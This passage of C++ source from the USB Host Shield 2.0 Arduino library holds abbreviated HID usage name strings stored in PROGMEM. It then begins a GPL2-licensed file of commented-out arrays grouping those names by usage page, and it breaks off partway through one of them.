pstrUsageALDigitalWallet [] PROGMEM = "AL Dig Wallet"; const char pstrUsageALInstantMessaging [] PROGMEM = "AL Inst Msg"; const char pstrUsageALOEMFeaturesBrowser [] PROGMEM = "AL OEM Tips Brow"; const char pstrUsageALOEMHelp [] PROGMEM = "AL OEM Hlp"; const char pstrUsageALOnlineCommunity [] PROGMEM = "AL Online Com"; const char pstrUsageALEntertainmentContentBrow [] PROGMEM = "AL Ent Cont Brow"; const char pstrUsageALOnlineShoppingBrowser [] PROGMEM = "AL Online Shop Brow"; const char pstrUsageALSmartCardInfoHelp [] PROGMEM = "AL SmartCard Inf"; const char pstrUsageALMarketMonitorFinBrowser [] PROGMEM = "AL Market Brow"; const char pstrUsageALCustomCorpNewsBrowser [] PROGMEM = "AL Cust Corp News Brow"; const char pstrUsageALOnlineActivityBrowser [] PROGMEM = "AL Online Act Brow"; const char pstrUsageALResearchSearchBrowser [] PROGMEM = "AL Search Brow"; const char pstrUsageALAudioPlayer [] PROGMEM = "AL Aud Player"; const char pstrUsageGenericGUIAppControls [] PROGMEM = "Gen GUI App Ctrl"; const char pstrUsageACNew [] PROGMEM = "AC New"; const char pstrUsageACOpen [] PROGMEM = "AC Open"; const char pstrUsageACClose [] PROGMEM = "AC Close"; const char pstrUsageACExit [] PROGMEM = "AC Exit"; const char pstrUsageACMaximize [] PROGMEM = "AC Max"; const char pstrUsageACMinimize [] PROGMEM = "AC Min"; const char pstrUsageACSave [] PROGMEM = "AC Save"; const char pstrUsageACPrint [] PROGMEM = "AC Print"; const char pstrUsageACProperties [] PROGMEM = "AC Prop"; const char pstrUsageACUndo [] PROGMEM = "AC Undo"; const char pstrUsageACCopy [] PROGMEM = "AC Copy"; const char pstrUsageACCut [] PROGMEM = "AC Cut"; const char pstrUsageACPaste [] PROGMEM = "AC Paste"; const char pstrUsageACSelectAll [] PROGMEM = "AC Sel All"; const char pstrUsageACFind [] PROGMEM = "AC Find"; const char pstrUsageACFindAndReplace [] PROGMEM = "AC Find/Replace"; const char pstrUsageACSearch [] PROGMEM = "AC Search"; const char pstrUsageACGoto [] PROGMEM = "AC Goto"; const char pstrUsageACHome [] PROGMEM = "AC Home"; const char pstrUsageACBack [] PROGMEM = "AC Back"; const char pstrUsageACForward [] PROGMEM = "AC Fwd"; const char pstrUsageACStop [] PROGMEM = "AC Stop"; const char pstrUsageACRefresh [] PROGMEM = "AC Refresh"; const char pstrUsageACPreviousLink [] PROGMEM = "AC Prev Link"; const char pstrUsageACNextLink [] PROGMEM = "AC Next Link"; const char pstrUsageACBookmarks [] PROGMEM = "AC Bkmarks"; const char pstrUsageACHistory [] PROGMEM = "AC Hist"; const char pstrUsageACSubscriptions [] PROGMEM = "AC Subscr"; const char pstrUsageACZoomIn [] PROGMEM = "AC Zoom In"; const char pstrUsageACZoomOut [] PROGMEM = "AC Zoom Out"; const char pstrUsageACZoom [] PROGMEM = "AC Zoom"; const char pstrUsageACFullScreenView [] PROGMEM = "AC Full Scr"; const char pstrUsageACNormalView [] PROGMEM = "AC Norm View"; const char pstrUsageACViewToggle [] PROGMEM = "AC View Tgl"; const char pstrUsageACScrollUp [] PROGMEM = "AC Scroll Up"; const char pstrUsageACScrollDown [] PROGMEM = "AC Scroll Down"; const char pstrUsageACScroll [] PROGMEM = "AC Scroll"; const char pstrUsageACPanLeft [] PROGMEM = "AC Pan Left"; const char pstrUsageACPanRight [] PROGMEM = "AC Pan Right"; const char pstrUsageACPan [] PROGMEM = "AC Pan"; const char pstrUsageACNewWindow [] PROGMEM = "AC New Wnd"; const char pstrUsageACTileHoriz [] PROGMEM = "AC Tile Horiz"; const char pstrUsageACTileVert [] PROGMEM = "AC Tile Vert"; const char pstrUsageACFormat [] PROGMEM = "AC Frmt"; const char pstrUsageACEdit [] PROGMEM = "AC Edit"; const char pstrUsageACBold [] PROGMEM = "AC Bold"; const char pstrUsageACItalics [] PROGMEM = "AC Ital"; const char pstrUsageACUnderline [] PROGMEM = "AC Under"; const char pstrUsageACStrikethrough [] PROGMEM = "AC Strike"; const char pstrUsageACSubscript [] PROGMEM = "AC Sub"; const char pstrUsageACSuperscript [] PROGMEM = "AC Super"; const char pstrUsageACAllCaps [] PROGMEM = "AC All Caps"; const char pstrUsageACRotate [] PROGMEM = "AC Rotate"; const char pstrUsageACResize [] PROGMEM = "AC Resize"; const char pstrUsageACFlipHorizontal [] PROGMEM = "AC Flp H"; const char pstrUsageACFlipVertical [] PROGMEM = "AC Flp V"; const char pstrUsageACMirrorHorizontal [] PROGMEM = "AC Mir H"; const char pstrUsageACMirrorVertical [] PROGMEM = "AC Mir V"; const char pstrUsageACFontSelect [] PROGMEM = "AC Fnt Sel"; const char pstrUsageACFontColor [] PROGMEM = "AC Fnt Clr"; const char pstrUsageACFontSize [] PROGMEM = "AC Fnt Size"; const char pstrUsageACJustifyLeft [] PROGMEM = "AC Just Left"; const char pstrUsageACJustifyCenterH [] PROGMEM = "AC Just Cent H"; const char pstrUsageACJustifyRight [] PROGMEM = "AC Just Right"; const char pstrUsageACJustifyBlockH [] PROGMEM = "AC Just Block H"; const char pstrUsageACJustifyTop [] PROGMEM = "AC Just Top"; const char pstrUsageACJustifyCenterV [] PROGMEM = "AC Just Cent V"; const char pstrUsageACJustifyBottom [] PROGMEM = "AC Just Bot"; const char pstrUsageACJustifyBlockV [] PROGMEM = "AC Just Block V"; const char pstrUsageACIndentDecrease [] PROGMEM = "AC Indent Dec"; const char pstrUsageACIndentIncrease [] PROGMEM = "AC Indent Inc"; const char pstrUsageACNumberedList [] PROGMEM = "AC Num List"; const char pstrUsageACRestartNumbering [] PROGMEM = "AC Res Num"; const char pstrUsageACBulletedList [] PROGMEM = "AC Blt List"; const char pstrUsageACPromote [] PROGMEM = "AC Promote"; const char pstrUsageACDemote [] PROGMEM = "AC Demote"; const char pstrUsageACYes [] PROGMEM = "AC Yes"; const char pstrUsageACNo [] PROGMEM = "AC No"; const char pstrUsageACCancel [] PROGMEM = "AC Cancel"; const char pstrUsageACCatalog [] PROGMEM = "AC Ctlg"; const char pstrUsageACBuyChkout [] PROGMEM = "AC Buy"; const char pstrUsageACAddToCart [] PROGMEM = "AC Add2Cart"; const char pstrUsageACExpand [] PROGMEM = "AC Xpnd"; const char pstrUsageACExpandAll [] PROGMEM = "AC Xpand All"; const char pstrUsageACCollapse [] PROGMEM = "AC Collapse"; const char pstrUsageACCollapseAll [] PROGMEM = "AC Collapse All"; const char pstrUsageACPrintPreview [] PROGMEM = "AC Prn Prevw"; const char pstrUsageACPasteSpecial [] PROGMEM = "AC Paste Spec"; const char pstrUsageACInsertMode [] PROGMEM = "AC Ins Mode"; const char pstrUsageACDelete [] PROGMEM = "AC Del"; const char pstrUsageACLock [] PROGMEM = "AC Lock"; const char pstrUsageACUnlock [] PROGMEM = "AC Unlock"; const char pstrUsageACProtect [] PROGMEM = "AC Prot"; const char pstrUsageACUnprotect [] PROGMEM = "AC Unprot"; const char pstrUsageACAttachComment [] PROGMEM = "AC Attach Cmnt"; const char pstrUsageACDeleteComment [] PROGMEM = "AC Del Cmnt"; const char pstrUsageACViewComment [] PROGMEM = "AC View Cmnt"; const char pstrUsageACSelectWord [] PROGMEM = "AC Sel Word"; const char pstrUsageACSelectSentence [] PROGMEM = "AC Sel Sntc"; const char pstrUsageACSelectParagraph [] PROGMEM = "AC Sel Para"; const char pstrUsageACSelectColumn [] PROGMEM = "AC Sel Col"; const char pstrUsageACSelectRow [] PROGMEM = "AC Sel Row"; const char pstrUsageACSelectTable [] PROGMEM = "AC Sel Tbl"; const char pstrUsageACSelectObject [] PROGMEM = "AC Sel Obj"; const char pstrUsageACRedoRepeat [] PROGMEM = "AC Redo"; const char pstrUsageACSort [] PROGMEM = "AC Sort"; const char pstrUsageACSortAscending [] PROGMEM = "AC Sort Asc"; const char pstrUsageACSortDescending [] PROGMEM = "AC Sort Desc"; const char pstrUsageACFilter [] PROGMEM = "AC Filt"; const char pstrUsageACSetClock [] PROGMEM = "AC Set Clk"; const char pstrUsageACViewClock [] PROGMEM = "AC View Clk"; const char pstrUsageACSelectTimeZone [] PROGMEM = "AC Sel Time Z"; const char pstrUsageACEditTimeZone [] PROGMEM = "AC Edt Time Z"; const char pstrUsageACSetAlarm [] PROGMEM = "AC Set Alm"; const char pstrUsageACClearAlarm [] PROGMEM = "AC Clr Alm"; const char pstrUsageACSnoozeAlarm [] PROGMEM = "AC Snz Alm"; const char pstrUsageACResetAlarm [] PROGMEM = "AC Rst Alm"; const char pstrUsageACSyncronize [] PROGMEM = "AC Sync"; const char pstrUsageACSendReceive [] PROGMEM = "AC Snd/Rcv"; const char pstrUsageACSendTo [] PROGMEM = "AC Snd To"; const char pstrUsageACReply [] PROGMEM = "AC Reply"; const char pstrUsageACReplyAll [] PROGMEM = "AC Reply All"; const char pstrUsageACForwardMessage [] PROGMEM = "AC Fwd Msg"; const char pstrUsageACSend [] PROGMEM = "AC Snd"; const char pstrUsageACAttachFile [] PROGMEM = "AC Att File"; const char pstrUsageACUpload [] PROGMEM = "AC Upld"; const char pstrUsageACDownload [] PROGMEM = "AC Dnld"; const char pstrUsageACSetBorders [] PROGMEM = "AC Set Brd"; const char pstrUsageACInsertRow [] PROGMEM = "AC Ins Row"; const char pstrUsageACInsertColumn [] PROGMEM = "AC Ins Col"; const char pstrUsageACInsertFile [] PROGMEM = "AC Ins File"; const char pstrUsageACInsertPicture [] PROGMEM = "AC Ins Pic"; const char pstrUsageACInsertObject [] PROGMEM = "AC Ins Obj"; const char pstrUsageACInsertSymbol [] PROGMEM = "AC Ins Sym"; const char pstrUsageACSaveAndClose [] PROGMEM = "AC Sav&Cls"; const char pstrUsageACRename [] PROGMEM = "AC Rename"; const char pstrUsageACMerge [] PROGMEM = "AC Merge"; const char pstrUsageACSplit [] PROGMEM = "AC Split"; const char pstrUsageACDistributeHorizontaly [] PROGMEM = "AC Dist Hor"; const char pstrUsageACDistributeVerticaly [] PROGMEM = "AC Dist Ver"; // Digitaizers const char pstrUsageDigitizer [] PROGMEM = "Digitizer"; const char pstrUsagePen [] PROGMEM = "Pen"; const char pstrUsageLightPen [] PROGMEM = "Light Pen"; const char pstrUsageTouchScreen [] PROGMEM = "Touch Scr"; const char pstrUsageTouchPad [] PROGMEM = "Touch Pad"; const char pstrUsageWhiteBoard [] PROGMEM = "White Brd"; const char pstrUsageCoordinateMeasuringMachine [] PROGMEM = "Coord Meas Mach"; const char pstrUsage3DDigitizer [] PROGMEM = "3D Dgtz"; const char pstrUsageStereoPlotter [] PROGMEM = "Stereo Plot"; const char pstrUsageArticulatedArm [] PROGMEM = "Art Arm"; const char pstrUsageArmature [] PROGMEM = "Armature"; const char pstrUsageMultiplePointDigitizer [] PROGMEM = "Multi Point Dgtz"; const char pstrUsageFreeSpaceWand [] PROGMEM = "Free Space Wand"; const char pstrUsageStylus [] PROGMEM = "Stylus"; const char pstrUsagePuck [] PROGMEM = "Puck"; const char pstrUsageFinger [] PROGMEM = "Finger"; const char pstrUsageTipPressure [] PROGMEM = "Tip Press"; const char pstrUsageBarrelPressure [] PROGMEM = "Brl Press"; const char pstrUsageInRange [] PROGMEM = "In Range"; const char pstrUsageTouch [] PROGMEM = "Touch"; const char pstrUsageUntouch [] PROGMEM = "Untouch"; const char pstrUsageTap [] PROGMEM = "Tap"; const char pstrUsageQuality [] PROGMEM = "Qlty"; const char pstrUsageDataValid [] PROGMEM = "Data Valid"; const char pstrUsageTransducerIndex [] PROGMEM = "Transducer Ind"; const char pstrUsageTabletFunctionKeys [] PROGMEM = "Tabl Func Keys"; const char pstrUsageProgramChangeKeys [] PROGMEM = "Pgm Chng Keys"; //const char pstrUsageBatteryStrength [] PROGMEM = "Bat Strength"; const char pstrUsageInvert [] PROGMEM = "Invert"; const char pstrUsageXTilt [] PROGMEM = "X Tilt"; const char pstrUsageYTilt [] PROGMEM = "Y Tilt"; const char pstrUsageAzimuth [] PROGMEM = "Azimuth"; const char pstrUsageAltitude [] PROGMEM = "Altitude"; const char pstrUsageTwist [] PROGMEM = "Twist"; const char pstrUsageTipSwitch [] PROGMEM = "Tip Sw"; const char pstrUsageSecondaryTipSwitch [] PROGMEM = "Scnd Tip Sw"; const char pstrUsageBarrelSwitch [] PROGMEM = "Brl Sw"; const char pstrUsageEraser [] PROGMEM = "Eraser"; const char pstrUsageTabletPick [] PROGMEM = "Tbl Pick"; // Alphanumeric Display Page const char pstrUsageAlphanumericDisplay [] PROGMEM = "Alphanum Disp"; const char pstrUsageBitmappedDisplay [] PROGMEM = "Bmp Disp"; const char pstrUsageDisplayAttributesReport [] PROGMEM = "Disp Attr Rpt"; const char pstrUsageASCIICharacterSet [] PROGMEM = "ASCII chset"; const char pstrUsageDataReadBack [] PROGMEM = "Data Rd Back"; const char pstrUsageFontReadBack [] PROGMEM = "Fnt Rd Back"; const char pstrUsageDisplayControlReport [] PROGMEM = "Disp Ctrl Rpt"; const char pstrUsageClearDisplay [] PROGMEM = "Clr Disp"; //const char pstrUsageDisplayEnable [] PROGMEM = "Disp Enbl"; const char pstrUsageScreenSaverDelay [] PROGMEM = "Scr Sav Delay"; const char pstrUsageScreenSaverEnable [] PROGMEM = "Scr Sav Enbl"; const char pstrUsageVerticalScroll [] PROGMEM = "V Scroll"; const char pstrUsageHorizontalScroll [] PROGMEM = "H Scroll"; const char pstrUsageCharacterReport [] PROGMEM = "Char Rpt"; const char pstrUsageDisplayData [] PROGMEM = "Disp Data"; const char pstrUsageDisplayStatus [] PROGMEM = "Disp Stat"; const char pstrUsageStatusNotReady [] PROGMEM = "Stat !Ready"; const char pstrUsageStatusReady [] PROGMEM = "Stat Ready"; const char pstrUsageErrorNotALoadableCharacter [] PROGMEM = "Err Not Ld Char"; const char pstrUsageErrorFotDataCanNotBeRead [] PROGMEM = "Fnt Data Rd Err"; const char pstrUsageCursorPositionReport [] PROGMEM = "Cur Pos Rpt"; const char pstrUsageRow [] PROGMEM = "Row"; const char pstrUsageColumn [] PROGMEM = "Col"; const char pstrUsageRows [] PROGMEM = "Rows"; const char pstrUsageColumns [] PROGMEM = "Cols"; const char pstrUsageCursorPixelPosition [] PROGMEM = "Cur Pix Pos"; const char pstrUsageCursorMode [] PROGMEM = "Cur Mode"; const char pstrUsageCursorEnable [] PROGMEM = "Cur Enbl"; const char pstrUsageCursorBlink [] PROGMEM = "Cur Blnk"; const char pstrUsageFontReport [] PROGMEM = "Fnt Rpt"; const char pstrUsageFontData [] PROGMEM = "Fnt Data"; const char pstrUsageCharacterWidth [] PROGMEM = "Char Wdth"; const char pstrUsageCharacterHeight [] PROGMEM = "Char Hght"; const char pstrUsageCharacterSpacingHorizontal [] PROGMEM = "Char Space H"; const char pstrUsageCharacterSpacingVertical [] PROGMEM = "Char Space V"; const char pstrUsageUnicodeCharset [] PROGMEM = "Unicode Char"; const char pstrUsageFont7Segment [] PROGMEM = "Fnt 7-seg"; const char pstrUsage7SegmentDirectMap [] PROGMEM = "7-seg map"; const char pstrUsageFont14Segment [] PROGMEM = "Fnt 14-seg"; const char pstrUsage14SegmentDirectMap [] PROGMEM = "14-seg map"; const char pstrUsageDisplayBrightness [] PROGMEM = "Disp Bright"; const char pstrUsageDisplayContrast [] PROGMEM = "Disp Cntrst"; const char pstrUsageCharacterAttribute [] PROGMEM = "Char Attr"; const char pstrUsageAttributeReadback [] PROGMEM = "Attr Readbk"; const char pstrUsageAttributeData [] PROGMEM = "Attr Data"; const char pstrUsageCharAttributeEnhance [] PROGMEM = "Char Attr Enh"; const char pstrUsageCharAttributeUnderline [] PROGMEM = "Char Attr Undl"; const char pstrUsageCharAttributeBlink [] PROGMEM = "Char Attr Blnk"; const char pstrUsageBitmapSizeX [] PROGMEM = "Bmp Size X"; const char pstrUsageBitmapSizeY [] PROGMEM = "Bmp Size Y"; const char pstrUsageBitDepthFormat [] PROGMEM = "Bit Dpth Fmt"; const char pstrUsageDisplayOrientation [] PROGMEM = "Disp Ornt"; const char pstrUsagePaletteReport [] PROGMEM = "Pal Rpt"; const char pstrUsagePaletteDataSize [] PROGMEM = "Pal Data Size"; const char pstrUsagePaletteDataOffset [] PROGMEM = "Pal Data Off"; const char pstrUsagePaletteData [] PROGMEM = "Pal Data"; const char pstrUsageBlitReport [] PROGMEM = "Blit Rpt"; const char pstrUsageBlitRectangleX1 [] PROGMEM = "Blit Rect X1"; const char pstrUsageBlitRectangleY1 [] PROGMEM = "Blit Rect Y1"; const char pstrUsageBlitRectangleX2 [] PROGMEM = "Blit Rect X2"; const char pstrUsageBlitRectangleY2 [] PROGMEM = "Blit Rect Y2"; const char pstrUsageBlitData [] PROGMEM = "Blit Data"; const char pstrUsageSoftButton [] PROGMEM = "Soft Btn"; const char pstrUsageSoftButtonID [] PROGMEM = "Soft Btn ID"; const char pstrUsageSoftButtonSide [] PROGMEM = "Soft Btn Side"; const char pstrUsageSoftButtonOffset1 [] PROGMEM = "Soft Btn Off1"; const char pstrUsageSoftButtonOffset2 [] PROGMEM = "Soft Btn Off2"; const char pstrUsageSoftButtonReport [] PROGMEM = "Soft Btn Rpt"; // Medical Instrument Page const char pstrUsageMedicalUltrasound [] PROGMEM = "Med Ultrasnd"; const char pstrUsageVCRAcquisition [] PROGMEM = "VCR/Acq"; const char pstrUsageFreezeThaw [] PROGMEM = "Freeze"; const char pstrUsageClipStore [] PROGMEM = "Clip Store"; const char pstrUsageUpdate [] PROGMEM = "Update"; const char pstrUsageNext [] PROGMEM = "Next"; const char pstrUsageSave [] PROGMEM = "Save"; const char pstrUsagePrint [] PROGMEM = "Print"; const char pstrUsageMicrophoneEnable [] PROGMEM = "Mic Enbl"; const char pstrUsageCine [] PROGMEM = "Cine"; const char pstrUsageTransmitPower [] PROGMEM = "Trans Pwr"; //const char pstrUsageVolume [] PROGMEM = "Vol"; const char pstrUsageFocus [] PROGMEM = "Focus"; const char pstrUsageDepth [] PROGMEM = "Depth"; const char pstrUsageSoftStepPrimary [] PROGMEM = "Soft Stp-Pri"; const char pstrUsageSoftStepSecondary [] PROGMEM = "Soft Stp-Sec"; const char pstrUsageDepthGainCompensation [] PROGMEM = "Dpth Gain Comp"; const char pstrUsageZoomSelect [] PROGMEM = "Zoom Sel"; const char pstrUsageZoomAdjust [] PROGMEM = "Zoom Adj"; const char pstrUsageSpectralDopplerModeSelect [] PROGMEM = "Spec Dop Mode Sel"; const char pstrUsageSpectralDopplerModeAdjust [] PROGMEM = "Spec Dop Mode Adj"; const char pstrUsageColorDopplerModeSelect [] PROGMEM = "Color Dop Mode Sel"; const char pstrUsageColorDopplerModeAdjust [] PROGMEM = "Color Dop Mode Adj"; const char pstrUsageMotionModeSelect [] PROGMEM = "Motion Mode Sel"; const char pstrUsageMotionModeAdjust [] PROGMEM = "Motion Mode Adj"; const char pstrUsage2DModeSelect [] PROGMEM = "2D Mode Sel"; const char pstrUsage2DModeAdjust [] PROGMEM = "2D Mode Adj"; const char pstrUsageSoftControlSelect [] PROGMEM = "Soft Ctrl Sel"; const char pstrUsageSoftControlAdjust [] PROGMEM = "Soft Ctrl Adj"; //extern const char *usagePageTitles0[15]; //const char *usagePageTitles1[]; //const char *genDesktopTitles0[]; //const char *genDesktopTitles1[]; //const char *genDesktopTitles2[]; //const char *genDesktopTitles3[]; //const char *genDesktopTitles4[]; //const char *simuTitles0[]; //const char *simuTitles1[]; //const char *simuTitles2[]; //const char *vrTitles0[]; //const char *vrTitles1[]; //const char *sportsCtrlTitles0[]; //const char *sportsCtrlTitles1[]; //const char *sportsCtrlTitles2[]; //const char *gameTitles0[]; //const char *gameTitles1[]; //const char *genDevCtrlTitles[]; //const char *ledTitles[]; //const char *telTitles0[]; //const char *telTitles1[]; //const char *telTitles2[]; //const char *telTitles3[]; //const char *telTitles4[]; //const char *telTitles5[]; //const char *consTitles0[]; //const char *consTitles1[]; //const char *consTitles2[]; //const char *consTitles3[]; //const char *consTitles4[]; //const char *consTitles5[]; //const char *consTitles6[]; //const char *consTitles7[]; //const char *consTitles8[]; //const char *consTitles9[]; //const char *consTitlesA[]; //const char *consTitlesB[]; //const char *consTitlesC[]; //const char *consTitlesD[]; //const char *consTitlesE[]; //const char *digitTitles0[]; //const char *digitTitles1[]; //const char *digitTitles2[]; //const char *aplphanumTitles0[]; //const char *aplphanumTitles1[]; //const char *aplphanumTitles2[]; //const char *medInstrTitles0[]; //const char *medInstrTitles1[]; //const char *medInstrTitles2[]; //const char *medInstrTitles3[]; //const char *medInstrTitles4[]; #endif //__HIDUSAGESTR_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/hidusagetitlearrays.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__HIDUSAGETITLEARRAYS_H__) #define __HIDUSAGETITLEARRAYS_H__ #include "hidusagestr.h" // This is here why? //const char *usagePageTitles0[] PROGMEM = //{ // pstrUsagePageGenericDesktopControls , // pstrUsagePageSimulationControls , // pstrUsagePageVRControls , // pstrUsagePageSportControls , // pstrUsagePageGameControls , // pstrUsagePageGenericDeviceControls , // pstrUsagePageKeyboardKeypad , // pstrUsagePageLEDs , // pstrUsagePageButton , // pstrUsagePageOrdinal , // pstrUsagePageTelephone , // pstrUsagePageConsumer , // pstrUsagePageDigitizer , // pstrUsagePagePID , // pstrUsagePageUnicode //}; // //const char *usagePageTitles1[] PROGMEM = //{ // pstrUsagePageBarCodeScanner , // pstrUsagePageScale , // pstrUsagePageMSRDevices , // pstrUsagePagePointOfSale , // pstrUsagePageCameraControl , // pstrUsagePageArcade //}; //const char *genDesktopTitles0[] PROGMEM = //{ // pstrUsagePointer , // pstrUsageMouse , // pstrUsageJoystick , // pstrUsageGamePad , // pstrUsageKeyboard , // pstrUsageKeypad , // pstrUsageMultiAxisController , // pstrUsageTabletPCSystemControls // //}; //const char *genDesktopTitles1[] PROGMEM = //{ // pstrUsageX , // pstrUsageY , // pstrUsageZ , // pstrUsageRx , // pstrUsageRy , // pstrUsageRz , // pstrUsageSlider , // pstrUsageDial , // pstrUsageWheel , // pstrUsageHatSwitch , // pstrUsageCountedBuffer , // pstrUsageByteCount , // pstrUsageMotionWakeup , // pstrUsageStart , // pstrUsageSelect , // pstrUsagePageReserved , // pstrUsageVx , // pstrUsageVy , // pstrUsageVz , // pstrUsageVbrx , // pstrUsageVbry , // pstrUsageVbrz , // pstrUsageVno , // pstrUsageFeatureNotification , // pstrUsageResolutionMultiplier //}; //const char *genDesktopTitles2[] PROGMEM = //{ // pstrUsageSystemControl , // pstrUsageSystemPowerDown , // pstrUsageSystemSleep , // pstrUsageSystemWakeup , // pstrUsageSystemContextMenu , // pstrUsageSystemMainMenu , // pstrUsageSystemAppMenu , // pstrUsageSystemMenuHelp , // pstrUsageSystemMenuExit , // pstrUsageSystemMenuSelect , // pstrUsageSystemMenuRight , // pstrUsageSystemMenuLeft , // pstrUsageSystemMenuUp , // pstrUsageSystemMenuDown , // pstrUsageSystemColdRestart , // pstrUsageSystemWarmRestart , // pstrUsageDPadUp , // pstrUsageDPadDown , // pstrUsageDPadRight , // pstrUsageDPadLeft //}; //const char *genDesktopTitles3[] PROGMEM = //{ // pstrUsageSystemDock , // pstrUsageSystemUndock , // pstrUsageSystemSetup , // pstrUsageSystemBreak , // pstrUsageSystemDebuggerBreak , // pstrUsageApplicationBreak , // pstrUsageApplicationDebuggerBreak, // pstrUsageSystemSpeakerMute , // pstrUsageSystemHibernate //}; //const char *genDesktopTitles4[] PROGMEM = //{ // pstrUsageSystemDisplayInvert , // pstrUsageSystemDisplayInternal , // pstrUsageSystemDisplayExternal , // pstrUsageSystemDisplayBoth , // pstrUsageSystemDisplayDual , // pstrUsageSystemDisplayToggleIntExt , // pstrUsageSystemDisplaySwapPriSec , // pstrUsageSystemDisplayLCDAutoscale //}; //const char *simuTitles0[] PROGMEM = //{ // pstrUsageFlightSimulationDevice , // pstrUsageAutomobileSimulationDevice , // pstrUsageTankSimulationDevice , // pstrUsageSpaceshipSimulationDevice , // pstrUsageSubmarineSimulationDevice , // pstrUsageSailingSimulationDevice , // pstrUsageMotocicleSimulationDevice , // pstrUsageSportsSimulationDevice , // pstrUsageAirplaneSimulationDevice , // pstrUsageHelicopterSimulationDevice , // pstrUsageMagicCarpetSimulationDevice, // pstrUsageBicycleSimulationDevice //}; //const char *simuTitles1[] PROGMEM = //{ // pstrUsageFlightControlStick , // pstrUsageFlightStick , // pstrUsageCyclicControl , // pstrUsageCyclicTrim , // pstrUsageFlightYoke , // pstrUsageTrackControl //}; //const char *simuTitles2[] PROGMEM = //{ // pstrUsageAileron , // pstrUsageAileronTrim , // pstrUsageAntiTorqueControl , // pstrUsageAutopilotEnable , // pstrUsageChaffRelease , // pstrUsageCollectiveControl , // pstrUsageDiveBrake , // pstrUsageElectronicCountermeasures , // pstrUsageElevator , // pstrUsageElevatorTrim , // pstrUsageRudder , // pstrUsageThrottle , // pstrUsageFlightCommunications , // pstrUsageFlareRelease , // pstrUsageLandingGear , // pstrUsageToeBrake , // pstrUsageTrigger , // pstrUsageWeaponsArm , // pstrUsageWeaponsSelect , // pstrUsageWingFlaps , // pstrUsageAccelerator , // pstrUsageBrake , // pstrUsageClutch , // pstrUsageShifter , // pstrUsageSteering , // pstrUsageTurretDirection , // pstrUsageBarrelElevation , // pstrUsageDivePlane , // pstrUsageBallast , // pstrUsageBicycleCrank , // pstrUsageHandleBars , // pstrUsageFrontBrake , // pstrUsageRearBrake //}; //const char *vrTitles0[] PROGMEM = //{ // pstrUsageBelt , // pstrUsageBodySuit , // pstrUsageFlexor , // pstrUsageGlove , // pstrUsageHeadTracker , // pstrUsageHeadMountedDisplay , // pstrUsageHandTracker , // pstrUsageOculometer , // pstrUsageVest , // pstrUsageAnimatronicDevice //}; //const char *vrTitles1[] PROGMEM = //{ // pstrUsageStereoEnable , // pstrUsageDisplayEnable //}; //const char *sportsCtrlTitles0[] PROGMEM = //{ // pstrUsageBaseballBat , // pstrUsageGolfClub , // pstrUsageRowingMachine , // pstrUsageTreadmill //}; //const char *sportsCtrlTitles1[] PROGMEM = //{ // pstrUsageOar , // pstrUsageSlope , // pstrUsageRate , // pstrUsageStickSpeed , // pstrUsageStickFaceAngle , // pstrUsageStickHeelToe , // pstrUsageStickFollowThough , // pstrUsageStickTempo , // pstrUsageStickType , // pstrUsageStickHeight //}; //const char *sportsCtrlTitles2[] PROGMEM = //{ // pstrUsagePutter , // pstrUsage1Iron , // pstrUsage2Iron , // pstrUsage3Iron , // pstrUsage4Iron , // pstrUsage5Iron , // pstrUsage6Iron , // pstrUsage7Iron , // pstrUsage8Iron , // pstrUsage9Iron , // pstrUsage10Iron , // pstrUsage11Iron , // pstrUsageSandWedge , // pstrUsageLoftWedge , // pstrUsagePowerWedge , // pstrUsage1Wood , // pstrUsage3Wood , // pstrUsage5Wood , // pstrUsage7Wood , // pstrUsage9Wood //}; //const char *gameTitles0[] PROGMEM = //{ // pstrUsage3DGameController , // pstrUsagePinballDevice , // pstrUsageGunDevice //}; //const char *gameTitles1[] PROGMEM = //{ // pstrUsagePointOfView , // pstrUsageTurnRightLeft , // pstrUsagePitchForwardBackward , // pstrUsageRollRightLeft , // pstrUsageMoveRightLeft , // pstrUsageMoveForwardBackward , // pstrUsageMoveUpDown , // pstrUsageLeanRightLeft , // pstrUsageLeanForwardBackward , // pstrUsageHeightOfPOV , // pstrUsageFlipper , // pstrUsageSecondaryFlipper , // pstrUsageBump , // pstrUsageNewGame , // pstrUsageShootBall , // pstrUsagePlayer , // pstrUsageGunBolt , // pstrUsageGunClip , // pstrUsageGunSelector , // pstrUsageGunSingleShot , // pstrUsageGunBurst , // pstrUsageGunAutomatic , // pstrUsageGunSafety , // pstrUsageGamepadFireJump , // pstrUsageGamepadTrigger //}; //const char *genDevCtrlTitles[] PROGMEM = //{ // pstrUsageBatteryStrength, // pstrUsageWirelessChannel, // pstrUsageWirelessID, // pstrUsageDiscoverWirelessControl, // pstrUsageSecurityCodeCharEntered, // pstrUsageSecurityCodeCharErased, // pstrUsageSecurityCodeCleared //}; //const char *ledTitles[] PROGMEM = //{ // pstrUsageNumLock , // pstrUsageCapsLock , // pstrUsageScrollLock , // pstrUsageCompose , // pstrUsageKana , // pstrUsagePower , // pstrUsageShift , // pstrUsageDoNotDisturb , // pstrUsageMute , // pstrUsageToneEnable , // pstrUsageHighCutFilter , // pstrUsageLowCutFilter , // pstrUsageEqualizerEnable , // pstrUsageSoundFieldOn , // pstrUsageSurroundOn , // pstrUsageRepeat , // pstrUsageStereo , // pstrUsageSamplingRateDetect , // pstrUsageSpinning , // pstrUsageCAV , // pstrUsageCLV , // pstrUsageRecordingFormatDetect , // pstrUsageOffHook , // pstrUsageRing , // pstrUsageMessageWaiting , // pstrUsageDataMode , // pstrUsageBatteryOperation , // pstrUsageBatteryOK , // pstrUsageBatteryLow , // pstrUsageSpeaker , // pstrUsageHeadSet , // pstrUsageHold , // pstrUsageMicrophone , // pstrUsageCoverage , // pstrUsageNightMode , // pstrUsageSendCalls , // pstrUsageCallPickup , // pstrUsageConference , // pstrUsageStandBy , // pstrUsageCameraOn , // pstrUsageCameraOff , // pstrUsageOnLine , // pstrUsageOffLine , // pstrUsageBusy , // pstrUsageReady , // pstrUsagePaperOut , // pstrUsagePaperJam , // pstrUsageRemote , // pstrUsageForward , // pstrUsageReverse , // pstrUsageStop , // pstrUsageRewind , // pstrUsageFastForward , // 